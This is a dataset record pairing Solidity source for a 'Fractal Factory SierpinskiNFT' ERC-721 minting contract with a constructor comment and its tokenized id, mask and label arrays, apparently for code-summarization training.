ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // inherit from pausable so that we can pause in case anything goes wrong? contract SierpinskiNFT is ERC721, ERC721URIStorage, Ownable { bool public isSaleStarted = false; string public baseURI; uint256 public constant maxSupply = 5555; uint256 private reservedTriangle = 1; uint256 public price = 0.07 ether; string contractURIAddress; using Counters for Counters.Counter; Counters.Counter public tokenCount; // default value is 0. public so that we can see how many have been minted event Minted(address to, uint256 tokenId); event SaleStarted(); event SaleStopped(); constructor(string memory _newBaseURI, string memory _contractURI) ERC721('Fractal Factory SierpinskiNFT', 'SPK') { // set the base uri to be the api endpoint that returns the json of token metadata. baseURI/tokenID -> {image: 'ipfs/someHash'} // initialise the contract metadata here also. setBaseURI(_newBaseURI); setContractURI(_contractURI); } // for listing on opensea. getter function for contractURIAddress function contractURI() public view returns (string memory) { return contractURIAddress; } function setContractURI(string memory _contractURI) public onlyOwner { contractURIAddress = _contractURI; } // impt as it feeds the baseURI to tokenURI() function _baseURI() internal view virtual override returns (string memory){ return baseURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } // tokenURI = baseURI + tokenId (leads to api endpoint which returns token specific metadata) function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } // sale contract functions function startSale() public onlyOwner { require(!isSaleStarted, 'Sale has already started'); isSaleStarted = true; emit SaleStarted(); } function stopSale() public onlyOwner { require(isSaleStarted, 'Sale has not started yet'); isSaleStarted = false; emit SaleStopped(); } // send all the remaining funds to the owner, if any (backup function) function returnFunds() public onlyOwner { payable(owner()).transfer(address(this).balance); } // default in frontend is 1. max is 20 function mint(uint256 numOfTokens) payable public { require(isSaleStarted, 'Sale has not started'); require(numOfTokens > 0, 'Cannot mint 0 tokens'); require(numOfTokens <= 20, 'Maximum mint limit is 20'); require(tokenCount.current() < maxSupply - reservedTriangle, 'All tokens have been minted'); require(tokenCount.current() + numOfTokens <= maxSupply - reservedTriangle, 'Exceeded max mint'); require(msg.value == price * numOfTokens, 'Invalid value'); payable(owner()).transfer(msg.value); for (uint256 i=0; i<numOfTokens; i++) { tokenCount.increment(); uint256 tokenId = tokenCount.current(); _safeMint(_msgSender(), tokenId); emit Minted(msg.sender, tokenId); } } // mint reserve for giveaway function mintReserve() external onlyOwner { require(tokenCount.current() + reservedTriangle <= maxSupply, "Exceeded max supply supply"); tokenCount.increment(); _safeMint(_msgSender(), tokenCount.current()); } }
set the base uri to be the api endpoint that returns the json of token metadata. baseURI/tokenID -> {image: 'ipfs/someHash'} initialise the contract metadata here also.
constructor(string memory _newBaseURI, string memory _contractURI) ERC721('Fractal Factory SierpinskiNFT', 'SPK') { setBaseURI(_newBaseURI); setContractURI(_contractURI); }
7,933,847
[ 1, 542, 326, 1026, 2003, 358, 506, 326, 1536, 2494, 716, 1135, 326, 1163, 434, 1147, 1982, 18, 1026, 3098, 19, 2316, 734, 317, 288, 2730, 30, 296, 625, 2556, 19, 19068, 2310, 11, 97, 21301, 326, 6835, 1982, 2674, 2546, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 1080, 3778, 389, 2704, 2171, 3098, 16, 533, 3778, 389, 16351, 3098, 13, 4232, 39, 27, 5340, 2668, 42, 14266, 287, 7822, 348, 2453, 84, 2679, 15299, 50, 4464, 2187, 296, 3118, 47, 6134, 288, 203, 3639, 26435, 3098, 24899, 2704, 2171, 3098, 1769, 7010, 3639, 444, 8924, 3098, 24899, 16351, 3098, 1769, 203, 565, 289, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]